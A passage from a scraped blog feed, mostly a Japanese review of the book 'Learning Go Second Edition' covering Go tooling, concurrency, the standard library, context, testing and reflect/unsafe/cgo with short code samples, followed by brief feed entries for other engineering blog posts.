generateを使ってコード生成を自動化する方法も紹介されていました。これらの機能を活用することで、より柔軟でメンテナンスしやすいコードを書けるようになると感じました。著者は、クロスコンパイルやビルドタグを使って、異なるプラットフォームやバージョンのGoに対応する方法も解説しました。Goのポータビリティの高さを活かすためには、これらの機能を理解し、適切に使いこなすことが重要だと感じました。Exercisesでは、埋め込みやクロスコンパイル、静的解析など、この章で学んだ機能を実践的に使う課題が用意されていました。実際にコードを書いて試すことで、ツールの使い方や注意点を体験的に学ぶことができました。//go:embed english_rights.txtvar englishRights string//go:embed all:var allRights embed.FSfunc main() { if len(os.Args) != 2 { fmt.Println(\\"Please specify a language\\") os.Exit(1) } language := os.Args[1] data, err := allRights.ReadFile(language + \\"_rights.txt\\") if err != nil { fmt.Printf(\\"No UDHR found for language %s\\\\n\\", language) os.Exit(1) } fmt.Println(string(data))}Goの標準ツールとサードパーティのツールを適切に組み合わせることで、より効率的で高品質なコードを書けるようになります。一方で、ツールを過信せず、その出力を批判的に評価することも大切だと強調されていました。この章ではGoの開発ツールについて網羅的に学ぶことができました。go runやgo installなどの基本的なツールの使い方から、staticcheckやgolangci-lintなどの高度なリンターの活用法、go:embedやgo generateなどの特殊機能まで、Goでの開発に欠かせないツールの数々が丁寧に解説されていました。特に、サードパーティのツールを積極的に活用することの重要性を再認識しました。Goの標準ツールは非常に充実していますが、コミュニティの知恵を結集したサードパーティのツールを併用することで、さらに開発の生産性と品質を高められると感じました。Chapter 12. Concurrency in Go「Chapter 12. Concurrency in Go」を通して、Go言語の並行処理モデルの特徴と使い方、そしてベストプラクティスについて深く理解することができました。この章は、Go言語を使いこなす上で欠かせない重要なトピックを丁寧に解説しており、実践的な知識を身につけるのに最適だと感じました。また、並列処理に関してはブログも書籍もたくさんあるので気になる方がいましたら是非にです。Go言語による並行処理作者:Katherine Cox-BudayオライリージャパンAmazonGo言語の並行処理モデルは、Communicating Sequential Processes(CSP)をベースにしており、その中心的な概念がgoroutineとchannelです。goroutineは、Goランタイムによって管理される軽量のスレッドのようなもので、OS レベルのスレッドよりもはるかに少ないオーバーヘッドで大量に生成・管理できます。一方、channelは、goroutine間でデータを共有するためのパイプのようなもので、型安全でデッドロックを防ぐための仕組みが備わっています。著者は、まず並行処理を使うべきケースについて説明しました。並行処理は、必ずしもプログラムを高速化するわけではなく、IO バウンドなタスクでない限り、オーバーヘッドが大きくなる可能性があると指摘しています。そのため、並行処理を適用する前に、ベンチマークを取って本当にメリットがあるかを確認すべきだと強調していました。次に、goroutineとchannelの基本的な使い方が解説されました。goroutineは、goキーワードを関数呼び出しの前に置くだけで簡単に生成でき、channelはmake関数で作成します。unbuffered channelとbuffered channelの違いや、for-rangeループを使ったchannelの読み取り方法なども丁寧に説明されていました。また、channelを適切にクローズすることの重要性も強調されていました。クローズされたchannelからの読み取りは、その型のゼロ値を返すという特殊な動作を理解しておく必要があります。複数のgoroutineが同じchannelに書き込む場合は、sync.WaitGroupを使ってすべてのgoroutineの終了を待ってからクローズすべきだとのアドバイスもありました。select文は、複数のchannelを扱う際に欠かせない重要な構文です。selectを使えば、複数のchannelを監視し、読み書き可能になったchannelを選択して処理できます。著者は、selectがデッドロックを防ぐ上で重要な役割を果たすことを具体的なコード例で示していました。続いて、並行処理のベストプラクティスとパターンが紹介されました。特に印象的だったのは、APIをconcurrency-freeに保つべきというアドバイスです。並行処理はあくまで実装の詳細であり、ユーザーに不要な複雑さを押し付けるべきではないというのは、納得のいく指摘だと感じました。また、goroutineのリークを防ぐために、必ず終了するようにすべきだという点も重要でした。contextパッケージを使ってgoroutineをキャンセルする方法や、for-selectループから適切に抜ける方法などが具体的に示されていました。バッファ付きchannelの使いどころについても、詳しく解説されていました。バッファ付きchannelは、goroutineの数を制限したり、キューに溜まった処理を制御したりするのに便利です。一方で、不適切に使うとデッドロックを引き起こす可能性もあるため、慎重に検討すべきだと強調されていました。また、バックプレッシャーを実装する方法として、バッファ付きchannelとselect文を組み合わせるアプローチが紹介されていました。これにより、同時実行数を制限しつつ、処理を適切にブロックできるようになります。さらに、select文のcaseを動的にオン・オフする方法として、nil channelを活用するテクニックも面白かったです。クローズしたchannelからの読み込みが、ゼロ値を返し続けてしまう問題を回避できる優れたアイデアだと感じました。一方で、mutexについても適切に使いこなすことの重要性が述べられていました。goroutineとchannelだけでは実現が難しい、共有リソースの保護などでは、mutexが適していると指摘されていました。ただし、mutexの濫用は避けるべきで、可能な限りchannelを使うのがよいとのアドバイスもありました。最後に、これまで学んだ概念を組み合わせて、非同期なパイプラインを実装するサンプルコードが示されていました。goroutine、channel、select、contextを適切に使い分けることで、タイムアウト制御や複数のWeb APIを並行に呼び出す処理を、わずか100行程度の読みやすいコードで実現できることはめちゃくちゃメリットだと思います。練習問題では、goroutineとchannelを使った基本的な並行処理プログラムから、selectやsync.WaitGroupを使ったより複雑な処理まで、幅広い題材が扱われていました。自分で実際にコードを書いて試すことで、並行処理の基本的なパターンが身についたと実感しています。github.comこの章を通して、Go言語の並行処理モデルの優れた設計思想と、それを適切に使いこなすためのベストプラクティスについて深く理解することができました。goroutineとchannelを中心とするシンプルな仕組みの中に、デッドロックを防ぎつつ安全に並行処理を行うための知恵が詰まっていることを実感しました。一方で、並行処理の適用は慎重に検討すべきであり、安易に使うとかえって複雑さを増してしまうことも学びました。並行処理はあくまでツールであり、ボトルネックの特定と適切な設計が何より重要だというのは、肝に銘じるべき教訓だと感じました。特に、現実のシステム開発においては、並行処理とエラーハンドリング、リソース管理などを総合的に考える必要があります。goroutineのリークを防ぎ、適切にリソースを解放する方法や、mutexとchannelの使い分け方など、実践的なスキルを再確認できたのは良かったです。私自身、普段からGoを使った並行処理プログラムを書くことが多いのですが、この章で得た知見を活かして、より堅牢で効率的なコードを書けるようになりたいと思います。特に、contextパッケージを活用したgoroutineのキャンセル処理や、バッファ付きチャネルを使ったバックプレッシャーの実装などは、実際のプロジェクトですぐにでも試してみたいテクニックです。並行処理はGoの最も強力な武器の一つですが、それを適切に使いこなすためには、深い理解と経験が必要不可欠です。この章で学んだ基本的な概念と、数多くのベストプラクティスを、自分の経験として血肉化していくことが、Goのプロフェッショナルとして成長するための鍵になるのだと感じました。Chapter 13. The Standard Library「Chapter 13. The Standard Library」では、Goの標準ライブラリの中でも特に重要なパッケージについて深く掘り下げています。この章を読んで、Goの標準ライブラリがいかにベストプラクティスに基づいて設計されているかを強く実感しました。そこには、他の言語の標準ライブラリにはない優れた設計思想が随所に見られます。印象的だったのは、「io」パッケージの設計です。「io.Reader」と「io.Writer」というシンプルなインターフェースを中心に、様々な入出力処理を抽象化している点は、Goならではの美しい設計だと感じました。この設計のおかげで、ファイルやネットワーク、圧縮、暗号化など、様々な入出力処理を統一的に扱えるようになっています。また、「time」パッケージも非常に使いやすく設計されています。「time.Duration」と「time.Time」という2つの型を中心に、時間関連の処理を直感的に記述できるのは、Goの大きな強みだと思います。特に、モノトニック時間の採用により、リープセカンドなどの影響を受けずに正確な時間計測ができるようになっているのは、システムプログラミングにおいて重要な点だと感じました。「encoding/json」パッケージは、構造体のタグを活用してJSONのエンコーディングとデコーディングを制御できる点が優れています。これにより、JSONのフィールド名と構造体のフィールド名を柔軟にマッピングできるだけでなく、フィールドの省略やデフォルト値の指定なども簡単に行えます。以下のサンプルコードのように、タグを使ってJSONのフィールド名を指定できるのは非常に便利です。type Person struct { Name string `json:\\"name\\"` Age int `json:\\"age\\"`}「net/http」パッケージは、Goの標準ライブラリの中でも特に重要なパッケージの1つです。「http.Handler」インターフェースを中心としたシンプルな設計により、高性能で使いやすいHTTPサーバーとクライアントを簡単に構築できます。また、ミドルウェアのパターンを活用することで、ログ出力やエラーハンドリング、認証、圧縮など、様々な機能を柔軟に追加できる点も優れています。「log/slog」パッケージは、2023年にリリースされたGo 1.21で新たに追加された構造化ロギングのためのパッケージです。従来の「log」パッケージの課題を解決し、より使いやすく、パフォーマンスにも優れた設計になっています。以下のように、ログレベルやコンテキスト、属性などを柔軟に指定できるのが特徴です。logger := slog.New(slog.NewTextHandler(os.Stdout))logger.Info(\\"Hello, World!\\", \\"name\\", \\"Alice\\", \\"age\\", 30)これらの知識を活用して、現在時刻を返すWebサーバーや、ミドルウェアを使ったJSONログ出力、JSONとテキストの切り替えなどを実装する課題が用意されていました。これらの課題に取り組むことで、標準ライブラリの使い方をより深く理解することができました。Goの標準ライブラリがベストプラクティスに基づいて設計されていること、そして後方互換性を尊重しながら進化を続けていることが改めて強調されていました。Goの標準ライブラリは、私たちが日々のプログラミングで参考にすべき優れたお手本だと言えます。個人的な感想としては、Goの標準ライブラリは、シンプルさと実用性のバランスが非常に優れていると感じました。必要十分な機能を提供しながらも、無駄に複雑になることなく、使いやすさを追求しているのが印象的です。特に、インターフェースを活用した抽象化と、具体的な実装の使い分けが絶妙だと思います。また、Goの標準ライブラリは、並行処理やエラーハンドリング、テストなど、現代的なプログラミングに欠かせない要素をしっかりとサポートしているのも大きな特徴だと感じました。これらの機能を標準ライブラリレベルでサポートしているからこそ、Goは大規模なシステム開発に適した言語になっているのだと思います。Chapter 14. The Context「Chapter 14. The Context」は、Go言語プログラミングにおける重要な概念である「コンテキスト」について深く掘り下げた章でした。コンテキストは、リクエストのメタデータを管理し、タイムアウトやキャンセル、値の受け渡しを制御するための強力な仕組みです。この章を通して、コンテキストの適切な使い方とベストプラクティスについて理解を深めることができました。zenn.devGo言語による並行処理にもContext について記載してあるので読んで下さい。learning.oreilly.com著者は、まずコンテキストの基本的な文法と使い方から説明しています。コンテキストは、context.Contextインターフェースを満たす値として表現され、関数の第一引数として明示的に渡すのが慣例です。context.Background関数でルートコンテキストを作成し、そこから子コンテキストを派生させていくのが基本的なパターンだと学びました。HTTPサーバーでコンテキストを使う場合は、http.RequestのContextメソッドとWithContextメソッドを使って、ミドルウェア間でコンテキストを受け渡しするのが適切な方法だと分かりました。ハンドラ関数では、req.Context()でコンテキストを取得し、ビジネスロジックの第一引数として渡すべきだと強調されていました。コンテキストの主な用途の一つが、キャンセル処理だと理解しました。context.WithCancel関数でキャンセル可能なコンテキストを作成し、キャンセル関数を適切にdeferすることで、リソースのリークを防げることが示されていました。Goの標準ライブラリのHTTPクライアントは、コンテキストのキャンセルを尊重して、リクエストを適切に中止してくれるそうです。また、context.WithTimeoutやcontext.WithDeadlineを使えば、コンテキストに時間制限を設定できることも分かりました。これにより、リクエストの処理時間を適切に管理し、サーバーのリソースを公平に配分できるようになります。子コンテキストのタイムアウトは、親コンテキストのタイムアウトに制約されるというルールも重要だと感じました。コンテキストのキャンセル原因を伝えるために、context.WithCancelCauseやcontext.Causeを使う方法も印象的でした。エラーの伝搬と情報の集約に、コンテキストが効果的に活用できることが分かりました。一方で、キャンセル関数の呼び出しを複数回行っても問題ないという点は、意外でした。自作のコードでコンテキストのキャンセルをサポートする場合は、select文でctx.Done()をチェックするパターンと、定期的にcontext.Cause(ctx)をチェックするパターンの2つが紹介されていました。長時間実行される処理では、コンテキストのキャンセルに対応することが重要だと再認識しました。Exercisesでは、これまで学んだコンテキストの知識を活用する問題が用意されていました。ミドルウェアでタイムアウトを設定する課題や、時間制限付きの計算を行う課題、ロギングレベルをコンテキストで制御する課題など、実践的なユースケースが網羅されていたと思います。github.com冒頭でも述べたように、コンテキストはGo言語プログラミングにおける重要な概念です。この章を通して、コンテキストの適切な使い方とベストプラクティスについて体系的に学ぶことができました。特に、キャンセル処理とタイムアウト制御は、サーバーの堅牢性と公平性を確保する上で欠かせない機能だと実感しました。一方で、コンテキストの乱用は、かえってコードの複雑さを増してしまう恐れがあります。コンテキストは、主にリクエストスコープのメタデータを扱うために使うべきで、安易に値の受け渡しに使うのは避けるべきだと強調されていました。この指針は、コンテキストを適切に使いこなす上で重要だと感じました。自作のコードでコンテキストのキャンセルをサポートすることの重要性も再認識できました。特に、select文とctx.Done()を使ったパターンは、Goらしい簡潔で効果的な手法だと感じました。長時間実行される処理では、定期的にコンテキストのキャンセルをチェックすることを習慣づけたいと思います。func longRunningTask(ctx context.Context) error { for { select { case <-ctx.Done(): return ctx.Err() default: // Do some work } }}この章ではGoのコンテキストについて網羅的かつ実践的に学ぶことができました。コンテキストの基本的な使い方から、キャンセル処理、タイムアウト制御、値の受け渡しまで、幅広いトピックが丁寧に解説されていました。Exercisesで提示された問題は、コンテキストの理解を深め、実際のコードに落とし込む力を養うのに役立つ内容でした。コンテキストは、Goのプログラミングスタイルと哲学を体現する重要な機能だと言えます。明示的なデータの受け渡しを重視しつつ、キャンセルとタイムアウトという横断的な関心事をエレガントに扱える点が、Goらしさを感じさせます。一方で、その柔軟性ゆえに、適切に使いこなすには一定の規律と見識が求められます。Chapter 15. Writing Tests「Chapter 15. Writing Tests」は、Goにおけるテストの書き方と品質向上のためのツールについて詳細に解説している章です。この章を読んで、ユニットテストの書き方、テーブルテストの実行、テストのセットアップとティアダウン、HTTPのスタブ化、ファジングテスト、データ競合の検出など、テストに関する多くの知見を得ることができました。また、テストに関しては他の書籍を読んでも良いかもと思いました。【この1冊でよくわかる】ソフトウェアテストの教科書 [増補改訂 第2版]作者:布施 昌弘,江添 智之,永井 努,三堀 雅也SBクリエイティブAmazon特に印象に残ったのは、テーブルテストの実行方法です。テーブルテストを使うことで、同じテストロジックに対して様々なデータパターンを適用することができ、コードの可読性と保守性が向上します。また、並行テストの実行方法も非常に興味深かったです。並行テストを適切に実行することで、テストの実行時間を大幅に短縮できます。ただし、共有される可変状態に依存するテストを並行して実行すると、予期しない結果になる可能性があるため注意が必要です。コードカバレッジの計測も重要なトピックの一つでした。go test -coverを使ってカバレッジを計測し、go tool coverでカバレッジ情報を可視化する方法は、テストの網羅性を確認する上で非常に有用です。ただし、100%のコードカバレッジを達成しても、バグが存在する可能性があることに注意が必要です。ファジングテストは、ランダムなデータを生成してコードに入力し、予期しない入力に対する動作を検証する手法です。ファジングテストを行うことで、開発者が想定していなかったようなコーナーケースのバグを発見することができます。また、データ競合の検出には-raceフラグを使用します。これにより、複数のゴルーチンから同時にアクセスされる変数を特定し、適切なロックを設定することができます。サンプルコードとして、sample_code/adderディレクトリにあるaddNumbers関数のテストコードが示されていました。また、sample_code/tableディレクトリではテーブルテストの例が、sample_code/solverディレクトリではスタブを使ったテストの例が示されていました。これらのサンプルコードは、実際のテストコードを書く際の参考になります。Exercisesでは、Simple Web Appプログラムに対してユニットテストを書き、コードカバレッジを計測することが求められていました。また、データ競合を検出して修正し、parser関数に対してファジングテストを実行することも求められていました。これらの演習を通じて、テストに関する知識を実践的に応用することができます。この章で学んだテストとコード品質向上のためのツールについて総括されていました。次の章では、unsafeパッケージ、リフレクション、cgoなど、Goの一般的なルールを破るような機能について探求していくとのことでした。総括すると、この章ではGoにおけるテストの書き方とコード品質向上のためのツールについて網羅的に解説されていました。ユニットテストの書き方、テーブルテストの実行、並行テストの実行、コードカバレッジの計測、ファジングテスト、データ競合の検出など、テストに関する重要なトピックが幅広くカバーされていました。また、サンプルコードや演習問題も充実しており、実践的な知識を身につけることができる内容でした。Chapter 16. Here Be Dragons: Reflect, Unsafe, and Cgo「Chapter 16. Here Be Dragons: Reflect, Unsafe, and Cgo」を通して、Go言語プログラミングにおいて、安全性と規約を一時的に無視してメモリやデータの細かな操作を行う仕組みであるreflect、unsafe、cgoについて深く理解することができました。これらの機能は、Go言語のセキュリティと型安全性を一時的に破ることから、非常に注意深く扱う必要があります。しかし、特定の場面では威力を発揮するため、適切な活用方法を学ぶことが重要だと感じました。reflectreflectは、Go言語の型システムを動的に操作するための強力な仕組みです。コンパイル時には型が特定できない場合、または外部データを動的にマッピングする必要がある場合などに、reflectを使って型の情報を取得したり、値を設定することができます。reflectで扱う主な概念は「型(reflect.Type)」「種類(reflect.Kind)」「値(reflect.Value)」の3つです。reflectを使えば、構造体のフィールドにアクセスしたり構造体を生成できますが、コーディングが冗長になりがちで、正しい操作を行わないとパニックを起こす可能性があります。そのため、適切なエラーハンドリングと注釈を残すことが重要です。特に、型の種類(reflect.Kind)に応じて、呼び出し可能なメソッドが変わるため、種類をしっかり確認する必要があります。type Foo struct { A int `myTag:\\"value\\"` B string `myTag:\\"value2\\"`}var f Fooft := reflect.TypeOf(f)for i := 0; i < ft.NumField(); i++ { curField := ft.Field(i) fmt.Println(curField.Name, curField.Type.Name(), curField.Tag.Get(\\"myTag\\"))}上記のサンプルコードは、reflectを使って構造体のタグフィールドにアクセスする方法を示しています。このように、reflectは型情報を動的に取得したり、値を設定・生成したりするのに役立ちますが、過度に使い過ぎるとコードの可読性を下げる恐れがあります。reflectを利用する主なユースケースは、データベースやJSONなどの外部データの読み書き、テンプレートエンジンによるデータのレンダリング、型に依存しないソートアルゴリズムの実装などです。Go言語の標準ライブラリでも、これらの用途でreflectが活用されています。一方、reflectを使うと通常の処理に比べてパフォーマンスが大幅に低下するという課題もあります。サンプルコードのベンチマークでは、reflectを使ったフィルタ処理は通常の場合に比べて50~75倍も遅く、多数のメモリ確保を行うことが分かります。BenchmarkFilterReflectString-8 5870 203962 ns/op 46616 B/op 2219 allocs/opBenchmarkFilterGenericString-8 294355 3920 ns/op 16384 B/op 1 allocs/opBenchmarkFilterString-8 302636 3885 ns/op 16384 B/op 1 allocs/opそのため、必要不可欠な場面でのみreflectを使い、通常の処理ではジェネリクスなどの代替手段を使うべきです。ただし、マーシャリング・アンマーシャリングや動的なメモ化などは、reflectを使わざるを得ない場合もあります。このように、Go言語の規約を一時的に無視する仕組みとして、reflectを適切に使いこなすことが重要だと言えます。unsafeunsafeパッケージは、Go言語の型安全性とメモリ安全性をある程度無視して、低水準のメモリ操作を行う仕組みを提供します。主な使用例は、OSとのシステムコール連携や、バイナリデータの高速なマーシャリング・アンマーシャリングなどです。内部で扱われるデータ型はunsafe.Pointerで、任意のポインタ型やuintptrとの相互キャストが可能です。メモリのレイアウトを調べるためのunsafe.Sizeofとunsafe.Offsetof関数があり、構造体フィールドの並び替えによるメモリ使用量の最適化などに役立ちます。type BoolInt struct { b bool i int64}type IntBool struct { i int64 b bool}fmt.Println(unsafe.Sizeof(BoolInt{}), unsafe.Offsetof(BoolInt{}.b), unsafe.Offsetof(BoolInt{}.i))// Output: 16 0 8 fmt.Println(unsafe.Sizeof(IntBool{}), unsafe.Offsetof(IntBool{}.i), unsafe.Offsetof(IntBool{}.b))// Output: 16 0 8上記のサンプルコードでは、構造体の並び方によってメモリのパディングが変わり、全体のサイズが変化することが分かります。このように、unsafeパッケージを使えば、メモリのレイアウトを細かく制御できます。さらに、unsafeを使えば、バイナリデータをスムーズに構造体へマッピングすることも可能です。func DataFromBytesUnsafe(b [16]byte) Data { data := (*Data)(unsafe.Pointer(&b)) if isLE { data.Value = bits.ReverseBytes32(data.Value) } return data}このコードは、バイト配列をunsafe.Pointerでキャストし、最終的に構造体へマッピングしています。パフォーマンス的には、unsafeを使ったバイト配列から構造体へのマッピングは、安全な手法に比べて2〜2.5倍程度高速だと言われています。BenchmarkDataFromBytes-8 538443861 2.186 ns/op 0 B/op 0 allocs/opBenchmarkDataFromBytesUnsafe-8 1000000000 1.160 ns/op 0 B/op 0 allocs/opただし、unsafeの濫用は危険を伴うため、必要最小限の使用に留める必要があります。Go言語のセキュリティモデルを部分的に無視する代わりに、そのパフォーマンスメリットを手に入れるかどうかは、用途次第です。通常のプログラミングでは、安全な手法を使うことがベストプラクティスです。また、unsafeを使う際は、ランタイムフラグ -gcflags=-d=checkptrを付けてポインタの不適切な使用をチェックすることが推奨されています。ドキュメントの注意事項にあるとおり、正しく使えば高速で強力なコードを書けますが、間違った使い方をすると簡単にセキュリティホールを作ってしまう可能性もあるため、unsafeの適切な使用には熟達した技術が求められます。cgo最後に、cgoについてですが、これはGo言語とCコードを連携する仕組みです。CコードをC拡張構文のコメント中に直接記述したり、関数の宣言をコメントに記述して外部のCコード中の関数をリンクしたりできます。Go関数をCコードにエクスポートすることも可能です。/*#include int add(int a, int b) { int sum = a + b; printf(\\"a: %d, b: %d, sum %d\\\\n\\", a, b, sum); return sum;}*/import \\"C\\"func main() { sum := C.add(3, 2) fmt.Println(sum) // Output: 5 fmt.Println(C.sqrt(100)) // Output: 10}cgoは、OSのシステムコールへアクセスしたり、既存のCライブラリを活用したりするのに便利です。ただし、Go言語がGCで自動メモリ管理しているのに対し、Cコードではメモリ解放を手動で行う必要があるため、ポインタの扱いには注意が必要です。Go側の変数をCコードに渡す際は、cgo.HandleでラップしてCコードに安全に渡す必要があります。p := Person{Name: \\"Jon\\", Age: 21}C.in_c(C.uintptr_t(cgo.NewHandle(p)))このように、cgoを使うと、Go言語の安全性とCコードの低レイヤー制御が両立できます。ただし、その実行コストは約40nsと高く、基本的にはパフォーマンス向上のためというよりは、既存のCライブラリ活用のために使われることが多いようです。パフォーマンス向上のためだけにはあまりメリットがない上、ポインタの危険な操作が必要になるため、cgoは「cgo is not Go」と言われています。そのため、自前でCラッピングを書く前に、サードパーティ製のGoラッパーを探すことが推奨されています。また、設計やメモリモデルの違いから、cgoの使用は避けられない場合に限り、それでもできるだけコア部分は安全なGoコードで書くべきだとされています。この章では、Go言語のセキュリティや規約を部分的に無視するreflect、unsafe、cgoについて詳しく学びました。これらの機能は、強力な反面で危険が伴うため、一定の知識と経験が必要とされます。特に、reflectは外部データのマッピングや標準ライブラリの一部の処理に必要不可欠ですが、パフォーマンスの低下が避けられません。unsafeはメモリレイアウトの制御や高速なデータマーシャリングに使えますが、安全性を無視する代わりのメリットが必要です。cgoは既存のCライブラリをラッピングする手段ですが、実行コストが高い上に設計の違いからGoの規約を完全に守ることができません。つまり、これらは例外的な処理を行うための機能であり、通常の処理ではなるべく使わず、代わりにジェネリクスなどの安全な手段を活用するのがベストプラクティスだと言えます。Go言語の利点は、まさにその規約とセキュリティにあるためです。ただし、一方でそれらを無視する機能さえも用意されていることで、Go言語はかえって強力で柔軟な言語になっていると言えるでしょう。Exercisesでは、構造体のバリデーションやメモリレイアウトの最適化、CコードのラッピングなどGoの規約を一時的に無視する練習問題が用意されていました。Wrapping Upでは、Go言語の安全性は基本原則ですが、例外的に規約を無視することで強力で柔軟な機能が提供されていると総括されていました。つまり、これらの高度な機能は「ツール」に過ぎず、適切な使い分けが重要なのです。Go言語は、基本的にはシンプルで規約に従うことで、保守性の高いソフトウェアを作ることを目指しています。一方で、状況次第では規約を一時的に無視して高度な操作を行う必要が出てくる場合もあります。そういった際にこそ、reflect、unsafe、cgoといった高度な機能が役立つのです。これらは、Go言語の最も興味深い部分の1つと言えるでしょう。しかし同時に、これらの機能の濫用はセキュリティホールやバグにつながりかねません。そのため、十分な理解とコントロールが求められます。Go言語のセキュリティやベストプラクティスに反するような例外的な処理は、確実に必要な場面でのみ、そして最小限に留めるべきです。Go言語では、規約に従うことで、強固で長期的に保守しやすいソフトウェアを書くことを目指しています。その一方で、例外的な状況においては、reflectやunsafe、cgoなどの例外的な仕組みを適切に使いこなすスキルも要求されます。つまり、Go言語では一般的なユースケースでは退屈で規約に従うことを推奨しつつ、特殊なケースでは必要最小限の例外を認める、そんな設計思想が貫かれていると言えるのです。今後50年のコンピューティングを支えるソフトウェアを作り上げていく上で、この思想を体現するスキルが求められるでしょう。おわりにここ間違っているとかあればDMください。本書「Learning Go Second Edition」を通して、Go言語プログラミングについて体系的かつ実践的に学ぶことができました。Goのシンプルさと実用性を重視する設計思想、並行処理やエラーハンドリング、テストなどの実践的な要素に言語レベルでサポートされている点が特に印象的でした。一方で、Goのシンプルさは時として制約にもなり得ます。Goの設計思想を理解し、適材適所で機能を使い分けて周知していくことが大事だと思いました。サンプルコードと練習問題を通して、学んだ概念を実際のコードに落とし込み、体験的に理解を更に深めることができました。特に知らなかったことがいくつかあったのと実践的なスキルとして利用したいものがいくつかあったので充分すぎる収穫かと思いました。Goのシンプルさの中に宿る美しさに惹かれ、ベストプラクティスを習慣化し、美しいコードを書けるようになりたいと思いました。並行処理とエラーハンドリングは、Goプログラミングの醍醐味だと感じています。モジュールシステムとテストの重要性についても再認識できました。Goのシンプルで実用的な設計思想を自分の糧として、プログラマとしてのマインドセットを磨いていきたいと思います。**","link":"https://syu-m-5151.hatenablog.com/entry/2024/06/19/154201","isoDate":"2024-06-19T06:42:01.000Z","dateMiliSeconds":1718779321000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"[Kubecon EU 2024: Cloud Native AI Day]Reducing Cross-Zone Egress at Spotify with Custom gRPC Load Balancing のご紹介","contentSnippet":"はじめに こんにちは、Sreake事業部の永瀬滉平です! 今回はKubeCon EU 2024に参加してきましたので、中でも気になったセッションをピックアップしてご紹介したいと思います。 セッションについて 取り上げるセ […]The post [Kubecon EU 2024: Cloud Native AI Day]Reducing Cross-Zone Egress at Spotify with Custom gRPC Load Balancing のご紹介 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubecon-eu-2024-cloud-native-ai-dayreducing-cross-zone-egress-at-spotify-with-custom-grpc-load-balancing/","isoDate":"2024-06-19T01:18:15.000Z","dateMiliSeconds":1718759895000,"authorName":"Sreake","authorId":"Sreake"},{"title":"KubernetesにおけるCELの記述方法まとめ","contentSnippet":"はじめに Kubernetes 1.30でValidating Admission Policyの機能がGAするなど、開発中の新機能にCELが組み込まれるケースが増えています。今後Kubernetesで使われる機会が増え […]The post KubernetesにおけるCELの記述方法まとめ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubernetes-cel-description/","isoDate":"2024-06-12T03:33:38.000Z","dateMiliSeconds":1718163218000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Vimのj/kを加速させるサブモード","contentSnippet":"Vim駅伝の2024/6/12の記事です。Vimmerならついなんとはなしにj/kしちゃうこともありますし、とか使いなよと分かってても長距離j/kしちゃうこともありますよね。ryhsd/accelerated-jkがあります。","link":"https://blog.atusy.net/2024/06/12/vim-submode-jjjj/","isoDate":"2024-06-12T00:00:00.000Z","dateMiliSeconds":1718150400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Google CloudのRapid evaluation APIを利用したLLMの評価手法","contentSnippet":"1. はじめに はじめまして、Sreake事業部の井上 秀一です。私はSreake事業部にて、SREや生成AIに関するResearch & Developmentを行っています。 本記事では、LLMの評価手法とし […]The post Google CloudのRapid evaluation APIを利用したLLMの評価手法 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/google-cloud-rapid-evaluation-api-verification/","isoDate":"2024-06-10T09:31:15.000Z","dateMiliSeconds":1718011875000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Google Cloud主催パートナー向けイベントで「Google Cloud で利用できるRDBのベクトル検索を徹底解剖!」を話しました。","contentSnippet":"2024年6月5日にGoogle Cloudがパートナー向けに開催したデータ関連の非公開イベントで「Google Cloud で利用できるRDBのベクトル検索を徹底解剖!」というLTを話しました。https://speakerdeck.com/nnaka2992/google-cloud-deli-yong-dekirurdbnobekutorujian-suo-woche-di-jie-pou非公開イベントのため録画がなかったり、LT枠だった関係で省略してしまった部分があったりしたためブログでより詳細な説明資料のようなものを書きました。 背景Google Cloudが提供する...","link":"https://zenn.dev/nnaka2992/articles/compare_vector_searches_on_google_clouds_rdb","isoDate":"2024-06-09T22:00:00.000Z","dateMiliSeconds":1717970400000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"k6導入 ~ k6 browserでE2Eテストまでにやってきたことのまとめ","contentSnippet":"はじめにzenn初めてみました✋スカイウイルでインフラエンジニアをしております。案件でk6の調査/実装をする機会があったのでまとめてみました。中でもk6 browserは実験的なモジュールということもあってか関連する記事が少ないため、今回の記事が役に立てればと思います。 k6とはパフォーマンステストおよび負荷テストのためのオープンソースツールであり、Webアプリのパフォーマンスを評価するために利用できます。https://k6.io/docs/以下のような特徴があります並列実行が可能JavaScriptでテストシナリオを記述CLI外部統合の容易さグラフ...","link":"https://zenn.dev/melanmeg/articles/78df5703c9da2b","isoDate":"2024-06-09T06:20:45.000Z","dateMiliSeconds":1717914045000,"authorName":"Naoya Yamamoto","authorId":"melanmeg"},{"title":"オブザーバビリティ再入門みたいなイベントで登壇しました。再入門だけが創造的な勉強会みたいな主張をした。 #o11y_mackerel","contentSnippet":"はじめに先日、taxin_ttさんからダイレクトメッセージで、「オブザーバビリティ再入門」というイベントで登壇し、イベントのテーマが「再入門」ということで、オブザーバビリティについて改めて基本的な概念から説明するようにとの依頼をいただきました。mackerelio.connpass.com「再入門」というテーマを聞いたとき、正直なところ少し悩みました。オブザーバビリティは近年注目を集めているトピックであり、既に多くの人が資料を作って登壇されており参加者も基本的な知識を持っているはずです()。そんな中で、「再入門」として何を話せばよいのか、どのようにアプローチすればよいのか、考えを巡らせました。再読だけが創造的な読書術である (単行本)作者:永田 希筑摩書房Amazonそこで、私は「可観測性とは」「可観測性と監視の違い」「可観測性の導入と抵抗」の3つのトピックを中心に話すことにしました。これらのトピックを通して、オブザーバビリティの基本的な概念や重要性について、わかりやすい言葉で説明することを心がけました。また、非技術者への説明時に再利用しやすいよう、平易な表現を用いています。聴衆の皆さんが、オブザーバビリティについて改めて理解を深め、実践につなげるためのヒントを提供できるよう努めました。なぜなら、言語やコミュニケーションは意図のすべてをそのまま表現できるわけではありません。常に受け取り手によって解釈され、解釈されて初めて意味あるものとして伝わるからです。そのため、この再入門を意味あるものだと感じたのなら、それはあなたが準備できていたからだと言えるでしょう。当日まで概要しか知らなかったのですが、登壇者が尊敬しているまさよしさんで、「メトリクス、ログ、トレースをうまく使い分けて可観測性を高めよう!」というタイトルだったので、その辺の話は避けてもよいと思い、OpenTelemetryという単語を一切使わずにこのような内容になりました。めちゃくちゃに良い資料なので読んでほしいです。「変化を嫌う人」を動かす:魅力的な提案が受け入れられない4つの理由作者:ロレン・ノードグレン,デイヴィッド・ションタル,船木 